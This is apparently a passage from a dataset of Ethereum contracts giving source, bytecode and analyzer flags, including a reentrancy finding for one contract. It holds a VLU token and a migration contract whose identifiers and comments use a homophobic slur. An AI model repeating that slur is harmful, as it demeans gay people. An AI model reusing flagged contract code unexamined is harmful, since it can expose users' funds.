000000000000000602082015250565b60006130dc6025836126ca565b91506130e782613080565b604082019050919050565b6000602082019050818103600083015261310b816130cf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061316e6023836126ca565b915061317982613112565b604082019050919050565b6000602082019050818103600083015261319d81613161565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132006029836126ca565b915061320b826131a4565b604082019050919050565b6000602082019050818103600083015261322f816131f3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061326c6019836126ca565b915061327782613236565b602082019050919050565b6000602082019050818103600083015261329b8161325f565b9050919050565b60006132ad826127ec565b91506132b8836127ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132ed576132ec612c95565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061332e601a836126ca565b9150613339826132f8565b602082019050919050565b6000602082019050818103600083015261335d81613321565b9050919050565b600061336f826127ec565b915061337a836127ec565b92508282101561338d5761338c612c95565b5b828203905092915050565b60006133a3826127ec565b91506133ae836127ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133e7576133e6612c95565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061342c826127ec565b9150613437836127ec565b925082613447576134466133f2565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ae6021836126ca565b91506134b982613452565b604082019050919050565b600060208201905081810360008301526134dd816134a1565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613540602a836126ca565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135ab816127ae565b82525050565b60006135bd83836135a2565b60208301905092915050565b6000602082019050919050565b60006135e182613576565b6135eb8185613581565b93506135f683613592565b8060005b8381101561362757815161360e88826135b1565b9750613619836135c9565b9250506001810190506135fa565b5085935050505092915050565b600060a0820190506136496000830188612898565b6136566020830187612e19565b818103604083015261366881866135d6565b90506136776060830185612b90565b6136846080830184612898565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136c4601b836126ca565b91506136cf8261368e565b602082019050919050565b600060208201905081810360008301526136f3816136b7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061cc563ceaa94c315a892fd0ab9b227653845a45b0757477139112aa1903367a64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,450 |
0xf82eb93feaa4deaa72c561fb67d845d81b7eaeb7
|
pragma solidity ^0.4.18;
/**xxp 校验防止溢出情况
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
// store tokens
mapping(address => uint256) balances;
// uint256 public totalSupply;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
/*
* @title VLUToken
*/
contract Token is BurnableToken, MintableToken, PausableToken {
// Public variables of the token
string public name;
string public symbol;
// 等同于Wei的概念, decimals is the strongly suggested default, avoid changing it
uint8 public decimals;
function VLUToken() public {
name = "ValueU";
symbol = "VLU";
decimals = 18;
totalSupply = 2000000000 * 10 ** uint256(decimals);
// Allocate initial balance to the owner
balances[msg.sender] = totalSupply;
}
// transfer balance to owner
function withdrawEther() onlyOwner public {
owner.transfer(this.balance);
}
// can accept ether
function() payable public {
}
}
|
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011357806306fdde031461013a578063095ea7b3146101c457806318160ddd146101e657806323b872dd1461020b578063313ce567146102335780633f4ba83a1461025c57806340c10f191461026f57806342966c6814610291578063486e97ad146102a75780635c975abb146102ba57806370a08231146102cd5780637362377b146102ec5780637d64bcb4146102ff5780638456cb59146103125780638da5cb5b1461032557806395d89b4114610354578063a9059cbb14610367578063dd62ed3e14610389578063f2fde38b146103ae575b005b341561011e57600080fd5b6101266103cd565b604051901515815260200160405180910390f35b341561014557600080fd5b61014d6103ee565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610189578082015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101cf57600080fd5b610126600160a060020a036004351660243561048c565b34156101f157600080fd5b6101f96104b7565b60405190815260200160405180910390f35b341561021657600080fd5b610126600160a060020a03600435811690602435166044356104bd565b341561023e57600080fd5b6102466104ea565b60405160ff909116815260200160405180910390f35b341561026757600080fd5b6101116104f3565b341561027a57600080fd5b610126600160a060020a0360043516602435610573565b341561029c57600080fd5b610111600435610691565b34156102b257600080fd5b61011161075a565b34156102c557600080fd5b610126610824565b34156102d857600080fd5b6101f9600160a060020a0360043516610834565b34156102f757600080fd5b61011161084f565b341561030a57600080fd5b6101266108a5565b341561031d57600080fd5b61011161092b565b341561033057600080fd5b6103386109b0565b604051600160a060020a03909116815260200160405180910390f35b341561035f57600080fd5b61014d6109bf565b341561037257600080fd5b610126600160a060020a0360043516602435610a2a565b341561039457600080fd5b6101f9600160a060020a0360043581169060243516610a4e565b34156103b957600080fd5b610111600160a060020a0360043516610a79565b60035474010000000000000000000000000000000000000000900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104845780601f1061045957610100808354040283529160200191610484565b820191906000526020600020905b81548152906001019060200180831161046757829003601f168201915b505050505081565b60035460009060a860020a900460ff16156104a657600080fd5b6104b08383610b14565b9392505050565b60005481565b60035460009060a860020a900460ff16156104d757600080fd5b6104e2848484610b80565b949350505050565b60065460ff1681565b60035433600160a060020a0390811691161461050e57600080fd5b60035460a860020a900460ff16151561052657600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461059157600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105b957600080fd5b6000546105cc908363ffffffff610d0216565b6000908155600160a060020a0384168152600260205260409020546105f7908363ffffffff610d0216565b600160a060020a0384166000818152600260205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600080821161069f57600080fd5b600160a060020a0333166000908152600260205260409020548211156106c457600080fd5b5033600160a060020a0381166000908152600260205260409020546106e99083610d11565b600160a060020a03821660009081526002602052604081209190915554610716908363ffffffff610d1116565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60408051908101604052600681527f56616c7565550000000000000000000000000000000000000000000000000000602082015260049080516107a1929160200190610e1e565b5060408051908101604052600381527f564c550000000000000000000000000000000000000000000000000000000000602082015260059080516107e9929160200190610e1e565b5060068054601260ff19909116179081905560ff16600a0a637735940002600081815533600160a060020a0316815260026020526040902055565b60035460a860020a900460ff1681565b600160a060020a031660009081526002602052604090205490565b60035433600160a060020a0390811691161461086a57600080fd5b600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156108a357600080fd5b565b60035460009033600160a060020a039081169116146108c357600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b90565b60035433600160a060020a0390811691161461094657600080fd5b60035460a860020a900460ff161561095d57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104845780601f1061045957610100808354040283529160200191610484565b60035460009060a860020a900460ff1615610a4457600080fd5b6104b08383610d23565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a9457600080fd5b600160a060020a0381161515610aa957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260016020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610b9757600080fd5b600160a060020a038416600090815260026020526040902054821115610bbc57600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610bef57600080fd5b600160a060020a038416600090815260026020526040902054610c18908363ffffffff610d1116565b600160a060020a038086166000908152600260205260408082209390935590851681522054610c4d908363ffffffff610d0216565b600160a060020a03808516600090815260026020908152604080832094909455878316825260018152838220339093168252919091522054610c95908363ffffffff610d1116565b600160a060020a03808616600081815260016020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828201838110156104b057fe5b600082821115610d1d57fe5b50900390565b6000600160a060020a0383161515610d3a57600080fd5b600160a060020a033316600090815260026020526040902054821115610d5f57600080fd5b600160a060020a033316600090815260026020526040902054610d88908363ffffffff610d1116565b600160a060020a033381166000908152600260205260408082209390935590851681522054610dbd908363ffffffff610d0216565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e5f57805160ff1916838001178555610e8c565b82800160010185558215610e8c579182015b82811115610e8c578251825591602001919060010190610e71565b50610e98929150610e9c565b5090565b61092891905b80821115610e985760008155600101610ea25600a165627a7a72305820ad3c8aabd70b7bf7580d95e49b4f959ca985b3dad3b25e801eeb65438134a8a80029
|
{"success": true, "error": null, "results": {}}
| 2,451 |
0x4a6c103a1a60f7ba7b7ce832a32d1b747529f8e7
|
/**
* Authored by @SuppomanYoutube
*/
pragma solidity 0.6.12;
// PoorFag migration contract: burns PoorFag token and mints PoorRug tokens
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface PoorFag {
function balanceOfUnderlying(address owner) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool);
}
interface PoorRug {
function mint(address owner, uint256 amount) external;
function setTreasury ( address treasuryAddress_) external;
function setLpPool ( address lpPool_) external;
}
/**
* @title PoorRug Token
* @dev PoorRug Mintable Token with migration from legacy contract. Used to signal
* for protocol changes in v3.
*/
contract PoorFagMigration is Context, Ownable {
address public constant poorFagAddress = address(0xe5868468Cb6Dd5d6D7056bd93f084816c6eF075f);
address public poorRugAddress;
address public lpPoolAddress;
bool public transferredLpPoolRewards = false;
constructor () public {
}
/**
* @dev Sets Poor token address
*
* One way function. Set in deployment scripts
*/
function setPoorRugAddress(address poorRugAddress_) public onlyOwner {
poorRugAddress = poorRugAddress_;
}
function setTreasury(address treasuryAddress_) public onlyOwner {
PoorRug(poorRugAddress).setTreasury(treasuryAddress_);
}
function setLpPool(address lpPoolAddress_) public onlyOwner {
lpPoolAddress = lpPoolAddress_;
PoorRug(poorRugAddress).setLpPool(lpPoolAddress_);
}
/**
* @dev Mints 300k Pool rewards
*
* Can only be called once
*/
function transferLPPoolRewards() public onlyOwner {
require(!transferredLpPoolRewards);
require(lpPoolAddress != address(0), 'Lp pool not set');
PoorRug(poorRugAddress).mint(lpPoolAddress, 300000000000000000000000);
transferredLpPoolRewards = true;
}
/**
* @dev Migrate a users' entire balance
*
* One way function. Fag tokens are BURNED. Poor tokens are minted.
*/
function migrate() public virtual {
// gets the Fag for a user.
uint256 rugBalance = PoorFag(poorFagAddress).balanceOf(_msgSender());
PoorFag(poorFagAddress).transferFrom(_msgSender(), address(0), rugBalance);
// mint new PoorRug, using fagValue (1e18 decimal token, to match internalDecimals)
PoorRug(poorRugAddress).mint(_msgSender(), rugBalance);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639bdd58f8116100715780639bdd58f81461016f578063db83bc6a146101b3578063ee6101ae146101e7578063f0f442601461021b578063f1baef2f1461025f578063f2fde38b14610293576100b4565b80633013acc0146100b9578063715018a6146100d957806371d69683146100e3578063897eecdf146101275780638da5cb5b146101315780638fd3ab8014610165575b600080fd5b6100c16102d7565b60405180821515815260200191505060405180910390f35b6100e16102ea565b005b610125600480360360208110156100f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610470565b005b61012f61061f565b005b6101396108ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61016d6108e3565b005b6101b16004803603602081101561018557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b005b6101bb610c4c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101ef610c72565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025d6004803603602081101561023157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c8a565b005b610267610df8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d5600480360360208110156102a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1e565b005b600260149054906101000a900460ff1681565b6102f2611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610478611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610538576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166371d69683826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561060457600080fd5b505af1158015610618573d6000803e3d6000fd5b5050505050565b610627611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600260149054906101000a900460ff161561070157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4c7020706f6f6c206e6f7420736574000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16693f870857a3e0e38000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561088557600080fd5b505af1158015610899573d6000803e3d6000fd5b505050506001600260146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073e5868468cb6dd5d6d7056bd93f084816c6ef075f73ffffffffffffffffffffffffffffffffffffffff166370a0823161091d611029565b6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561096757600080fd5b505afa15801561097b573d6000803e3d6000fd5b505050506040513d602081101561099157600080fd5b8101908080519060200190929190505050905073e5868468cb6dd5d6d7056bd93f084816c6ef075f73ffffffffffffffffffffffffffffffffffffffff166323b872dd6109dc611029565b6000846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b505050506040513d6020811015610a7957600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19610ad1611029565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b5050505050565b610b48611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73e5868468cb6dd5d6d7056bd93f084816c6ef075f81565b610c92611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f0f44260826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e26611029565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffff